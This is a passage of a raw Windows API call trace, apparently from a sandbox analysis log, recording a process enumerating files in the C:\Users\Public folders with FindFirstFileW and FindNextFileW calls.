hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.995] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0216.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0216.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0216.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0216.996] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0216.996] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*" (normalized: "c:\\users\\public\\documents\\my music\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0216.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9db00) returned 1 [0217.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.001] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0217.002] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*" (normalized: "c:\\users\\public\\documents\\my music\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9db00) returned 1 [0217.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.006] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0217.006] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*" (normalized: "c:\\users\\public\\documents\\my pictures\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9db00) returned 1 [0217.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.010] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0217.010] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*" (normalized: "c:\\users\\public\\documents\\my pictures\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9db00) returned 1 [0217.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.014] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0217.014] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*" (normalized: "c:\\users\\public\\documents\\my videos\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9db00) returned 1 [0217.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9db60) returned 1 [0217.018] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1dc9d640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0217.018] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*" (normalized: "c:\\users\\public\\documents\\my videos\\*"), lpFindFileData=0x1dc9d870 | out: lpFindFileData=0x1dc9d870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9db00) returned 1 [0217.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.023] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0217.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*" (normalized: "c:\\users\\public\\downloads\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5bf0 [0217.024] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.024] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.024] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.024] FindClose (in: hFindFile=0x1d1f5bf0 | out: hFindFile=0x1d1f5bf0) returned 1 [0217.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.024] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0217.025] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*" (normalized: "c:\\users\\public\\downloads\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.025] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.025] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.025] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0217.025] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.026] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0217.026] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*" (normalized: "c:\\users\\public\\libraries\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.026] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.026] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.026] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0217.026] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.027] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.027] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0217.027] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*" (normalized: "c:\\users\\public\\libraries\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.027] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.027] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.028] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0217.028] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0217.028] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.028] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0217.028] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*" (normalized: "c:\\users\\public\\music\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f58f0 [0217.029] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.029] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.029] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.029] FindClose (in: hFindFile=0x1d1f58f0 | out: hFindFile=0x1d1f58f0) returned 1 [0217.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.029] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0217.029] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*" (normalized: "c:\\users\\public\\music\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.030] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.030] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0217.030] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0217.030] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0217.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0217.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.030] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0217.031] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*" (normalized: "c:\\users\\public\\pictures\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f58f0 [0217.031] FindNextFileW (in: hFindFile=0x1d1f58f0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 